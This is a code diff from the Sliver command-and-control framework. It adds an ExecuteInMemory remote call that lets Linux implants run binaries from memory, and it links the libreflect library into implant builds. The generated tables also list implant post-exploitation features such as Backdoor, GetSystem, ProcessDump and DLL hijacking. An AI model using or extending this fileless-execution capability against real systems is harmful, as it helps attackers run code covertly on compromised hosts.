+	121, // 178: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
+	122, // 179: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
+	123, // 180: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
+	0,   // 181: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
+	23,  // 182: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
+	124, // 183: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager
+	125, // 184: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
+	126, // 185: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
+	127, // 186: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
+	128, // 187: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
+	129, // 188: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
+	27,  // 189: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
+	0,   // 190: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
+	27,  // 191: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
+	27,  // 192: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
+	27,  // 193: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
+	30,  // 194: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
+	130, // 195: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
+	131, // 196: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
+	132, // 197: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
+	133, // 198: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
+	134, // 199: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
+	135, // 200: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
+	135, // 201: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
+	136, // 202: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
+	137, // 203: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
+	138, // 204: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
+	139, // 205: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
+	140, // 206: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
+	141, // 207: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
+	142, // 208: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
+	143, // 209: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
+	144, // 210: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
+	145, // 211: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
+	146, // 212: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
+	146, // 213: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
+	146, // 214: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
+	147, // 215: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
+	148, // 216: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
+	149, // 217: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
+	149, // 218: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
+	150, // 219: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
+	151, // 220: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
+	152, // 221: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
+	153, // 222: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
+	154, // 223: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
+	0,   // 224: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
+	155, // 225: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
+	156, // 226: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
+	157, // 227: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
+	157, // 228: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
+	157, // 229: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
+	158, // 230: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
+	159, // 231: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
+	160, // 232: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
+	161, // 233: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
+	162, // 234: rpcpb.SliverRPC.Backdoor:output_type -> sliverpb.Backdoor
+	163, // 235: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
+	164, // 236: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
+	165, // 237: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
+	166, // 238: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
+	167, // 239: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
+	168, // 240: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
+	169, // 241: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
+	170, // 242: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
+	171, // 243: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
+	172, // 244: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
+	173, // 245: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
+	172, // 246: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
+	82,  // 247: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
+	0,   // 248: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
+	174, // 249: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
+	175, // 250: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
+	176, // 251: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
+	177, // 252: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
+	177, // 253: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
+	178, // 254: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
+	178, // 255: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
+	179, // 256: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
+	180, // 257: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
+	149, // 258: rpcpb.SliverRPC.ExecuteInMemory:output_type -> sliverpb.Execute
+	181, // 259: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
+	182, // 260: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
+	96,  // 261: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
+	0,   // 262: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
+	97,  // 263: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
+	98,  // 264: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
+	0,   // 265: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
+	99,  // 266: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
+	20,  // 267: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
+	134, // [134:268] is the sub-list for method output_type
+	0,   // [0:134] is the sub-list for method input_type
 	0,   // [0:0] is the sub-list for extension type_name
 	0,   // [0:0] is the sub-list for extension extendee
 	0,   // [0:0] is the sub-list for field type_name

protobuf/rpcpb/services.proto

@@ -174,6 +174,9 @@ service SliverRPC {
     rpc WGListForwarders(sliverpb.WGTCPForwardersReq) returns (sliverpb.WGTCPForwarders);
     rpc WGListSocksServers(sliverpb.WGSocksServersReq) returns (sliverpb.WGSocksServers);
 
+    // *** Linux CGO specific ***
+    rpc ExecuteInMemory(sliverpb.ExecuteInMemoryReq) returns (sliverpb.Execute);
+
     // *** Realtime Commands ***
     rpc Shell(sliverpb.ShellReq) returns (sliverpb.Shell);
     rpc Portfwd(sliverpb.PortfwdReq) returns (sliverpb.Portfwd);

protobuf/rpcpb/services_grpc.pb.go

@@ -163,6 +163,8 @@ type SliverRPCClient interface {
 	WGStopSocks(ctx context.Context, in *sliverpb.WGSocksStopReq, opts ...grpc.CallOption) (*sliverpb.WGSocks, error)
 	WGListForwarders(ctx context.Context, in *sliverpb.WGTCPForwardersReq, opts ...grpc.CallOption) (*sliverpb.WGTCPForwarders, error)
 	WGListSocksServers(ctx context.Context, in *sliverpb.WGSocksServersReq, opts ...grpc.CallOption) (*sliverpb.WGSocksServers, error)
+	// *** Linux CGO specific ***
+	ExecuteInMemory(ctx context.Context, in *sliverpb.ExecuteInMemoryReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
 	// *** Realtime Commands ***
 	Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error)
 	Portfwd(ctx context.Context, in *sliverpb.PortfwdReq, opts ...grpc.CallOption) (*sliverpb.Portfwd, error)
@@ -1325,6 +1327,15 @@ func (c *sliverRPCClient) WGListSocksServers(ctx context.Context, in *sliverpb.W
 	return out, nil
 }
 
+func (c *sliverRPCClient) ExecuteInMemory(ctx context.Context, in *sliverpb.ExecuteInMemoryReq, opts ...grpc.CallOption) (*sliverpb.Execute, error) {
+	out := new(sliverpb.Execute)
+	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteInMemory", in, out, opts...)
+	if err != nil {
+		return nil, err
+	}
+	return out, nil
+}
+
 func (c *sliverRPCClient) Shell(ctx context.Context, in *sliverpb.ShellReq, opts ...grpc.CallOption) (*sliverpb.Shell, error) {
 	out := new(sliverpb.Shell)
 	err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Shell", in, out, opts...)
@@ -1619,6 +1630,8 @@ type SliverRPCServer interface {
 	WGStopSocks(context.Context, *sliverpb.WGSocksStopReq) (*sliverpb.WGSocks, error)
 	WGListForwarders(context.Context, *sliverpb.WGTCPForwardersReq) (*sliverpb.WGTCPForwarders, error)
 	WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error)
+	// *** Linux CGO specific ***
+	ExecuteInMemory(context.Context, *sliverpb.ExecuteInMemoryReq) (*sliverpb.Execute, error)
 	// *** Realtime Commands ***
 	Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error)
 	Portfwd(context.Context, *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error)
@@ -2011,6 +2024,9 @@ func (UnimplementedSliverRPCServer) WGListForwarders(context.Context, *sliverpb.
 func (UnimplementedSliverRPCServer) WGListSocksServers(context.Context, *sliverpb.WGSocksServersReq) (*sliverpb.WGSocksServers, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method WGListSocksServers not implemented")
 }
+func (UnimplementedSliverRPCServer) ExecuteInMemory(context.Context, *sliverpb.ExecuteInMemoryReq) (*sliverpb.Execute, error) {
+	return nil, status.Errorf(codes.Unimplemented, "method ExecuteInMemory not implemented")
+}
 func (UnimplementedSliverRPCServer) Shell(context.Context, *sliverpb.ShellReq) (*sliverpb.Shell, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Shell not implemented")
 }
@@ -4286,6 +4302,24 @@ func _SliverRPC_WGListSocksServers_Handler(srv interface{}, ctx context.Context,
 	return interceptor(ctx, in, info, handler)
 }
 
+func _SliverRPC_ExecuteInMemory_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(sliverpb.ExecuteInMemoryReq)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).ExecuteInMemory(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/ExecuteInMemory",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).ExecuteInMemory(ctx, req.(*sliverpb.ExecuteInMemoryReq))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
 func _SliverRPC_Shell_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(sliverpb.ShellReq)
 	if err := dec(in); err != nil {
@@ -4966,6 +5000,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "WGListSocksServers",
 			Handler:    _SliverRPC_WGListSocksServers_Handler,
 		},
+		{
+			MethodName: "ExecuteInMemory",
+			Handler:    _SliverRPC_ExecuteInMemory_Handler,
+		},
 		{
 			MethodName: "Shell",
 			Handler:    _SliverRPC_Shell_Handler,

protobuf/sliverpb/constants.go

@@ -298,6 +298,8 @@ const (
 	MsgRportFwdListenersReq
 
 	MsgRPortfwdReq
+
+	MsgExecuteInMemoryReq
 )
 
 // Constants to replace enums
@@ -524,6 +526,8 @@ func MsgNumber(request proto.Message) uint32 {
 		return MsgRportFwdListeners
 	case *RPortfwdReq:
 		return MsgRPortfwdReq
+	case *ExecuteInMemoryReq:
+		return MsgExecuteInMemoryReq
 	}
 	return uint32(0)
 }

protobuf/sliverpb/sliver.proto

@@ -445,6 +445,13 @@ message ExecuteWindowsReq {
   commonpb.Request Request = 9;
 }
 
+message ExecuteInMemoryReq {
+  bytes Data = 1;
+  repeated string Args = 2;
+  string Path = 3;
+  commonpb.Request Request = 9;
+}
+
 message Execute {
   uint32 Status = 1;
   bytes Stdout = 2;

server/assets/assets.go

@@ -221,6 +221,11 @@ func setupGo(appDir string) error {
 		return err
 	}
 
+	if libreflectErr := setupLibreflect(appDir); libreflectErr != nil {
+		setupLog.Errorf("Failed to setup libreflect")
+		return libreflectErr
+	}
+
 	return setupSGN(appDir)
 }
 
@@ -236,6 +241,20 @@ func setupSGN(appDir string) error {
 	return err
 }
 
+func setupLibreflect(appDir string) error {
+	libreflectPath := filepath.Join("fs", "lib", "libreflect.x86_64.a")
+	goLibPath := filepath.Join(appDir, "go", "lib")
+	libreflect, err := assetsFs.ReadFile(libreflectPath)
+	if err != nil {
+		setupLog.Errorf("static asset not found: %s", libreflectPath)
+		return err
+	}
+	libreflectLocalPath := filepath.Join(goLibPath, "libreflect.a")
+	setupLog.Infof("Writing libreflect to %s", libreflectLocalPath)
+	err = os.WriteFile(libreflectLocalPath, libreflect, 0700)
+	return err
+}
+
 // SetupGoPath - Extracts dependencies to goPathSrc
 func SetupGoPath(goPathSrc string) error {
 

server/assets/assets_darwin_amd64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/amd64/* fs/lib/*.a
 	assetsFs embed.FS
 )

server/assets/assets_darwin_arm64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/darwin/arm64/* fs/lib/*.a
 	assetsFs embed.FS
 )

server/assets/assets_linux_amd64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/amd64/* fs/lib/*.a
 	assetsFs embed.FS
 )

server/assets/assets_linux_arm64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/linux/arm64/* fs/lib/*.a
 	assetsFs embed.FS
 )

server/assets/assets_windows_amd64.go

@@ -5,6 +5,6 @@ package assets
 import "embed"
 
 var (
-	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/*
+	//go:embed fs/sliver.asc fs/*.txt fs/*.zip fs/windows/amd64/* fs/lib/*.a
 	assetsFs embed.FS
 )

server/generate/binaries.go

@@ -339,10 +339,16 @@ func SliverSharedLibrary(name string, otpSecret string, config *models.ImplantCo
 			return "", fmt.Errorf("CC '%s/%s' not found", config.GOOS, config.GOARCH)
 		}
 	}
+	cgoLdflags := ""
+	if config.GOOS == "linux" {
+		libIncludePath := path.Join(gogo.GetGoRootDir(appDir), "lib")
+		cgoLdflags = fmt.Sprintf("-L%s -lreflect", libIncludePath)
+	}
 	goConfig := &gogo.GoConfig{
-		CGO: "1",
-		CC:  cc,
-		CXX: cxx,
+		CGO:        "1",
+		CGOLDFLAGS: cgoLdflags,
+		CC:         cc,
+		CXX:        cxx,
 
 		GOOS:       config.GOOS,
 		GOARCH:     config.GOARCH,

server/gogo/go.go

@@ -53,6 +53,7 @@ type GoConfig struct {
 	GOMODCACHE string
 	GOPROXY    string
 	CGO        string
+	CGOLDFLAGS string
 	CC         string
 	CXX        string
 	HTTPPROXY  string
@@ -110,6 +111,7 @@ func GarbleCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
 	cmd.Env = []string{
 		fmt.Sprintf("CC=%s", config.CC),
 		fmt.Sprintf("CGO_ENABLED=%s", config.CGO),
+		fmt.Sprintf("CGO_LDFLAGS=%s", config.CGOLDFLAGS),
 		fmt.Sprintf("GOOS=%s", config.GOOS),
 		fmt.Sprintf("GOARCH=%s", config.GOARCH),
 		fmt.Sprintf("GOPATH=%s", config.ProjectDir),
@@ -153,6 +155,7 @@ func GoCmd(config GoConfig, cwd string, command []string) ([]byte, error) {
 	cmd.Env = []string{
 		fmt.Sprintf("CC=%s", config.CC),
 		fmt.Sprintf("CGO_ENABLED=%s", config.CGO),
+		fmt.Sprintf("CGO_LDFLAGS=%s", config.CGOLDFLAGS),
 		fmt.Sprintf("GOOS=%s", config.GOOS),
 		fmt.Sprintf("GOARCH=%s", config.GOARCH),
 		fmt.Sprintf("GOPATH=%s", config.ProjectDir),

server/rpc/errors.go

@@ -48,4 +48,5 @@ var (
 	ErrBuildExists = status.Error(codes.AlreadyExists, "Build already exists")
 
 	ErrInvalidBeaconTaskCancelState = status.Error(codes.InvalidArgument, fmt.Sprintf("Invalid task state, must be '%s' to cancel", models.PENDING))
+	ErrUnsupportedOS                = status.Error(codes.Unimplemented, "This RPC is not supported for the targeted OS")
 )

server/rpc/rpc-tasks.go

@@ -281,6 +281,40 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
 	return resp, nil
 }
 
+func (rpc *Server) ExecuteInMemory(ctx context.Context, req *sliverpb.ExecuteInMemoryReq) (*sliverpb.Execute, error) {
+	var (
+		session *core.Session
+		beacon  *models.Beacon
+		err     error
+	)
+
+	if !req.Request.Async {
+		session = core.Sessions.Get(req.Request.SessionID)
+		if session == nil {
+			return nil, ErrInvalidSessionID
+		}
+	} else {
+		beacon, err = db.BeaconByID(req.Request.BeaconID)
+		if err != nil {
+			msfLog.Errorf("%s", err)
+			return nil, ErrDatabaseFailure
+		}
+		if beacon == nil {
+			return nil, ErrInvalidBeaconID
+		}
+	}
+
+	if getOS(session, beacon) != "linux" {
+		return nil, ErrUnsupportedOS
+	}
+	resp := &sliverpb.Execute{Response: &commonpb.Response{}}
+	err = rpc.GenericHandler(req, resp)
+	if err != nil {
+		return nil, err
+	}
+	return resp, nil
+}
+
 func getOS(session *core.Session, beacon *models.Beacon) string {
 	if session != nil {
 		return session.OS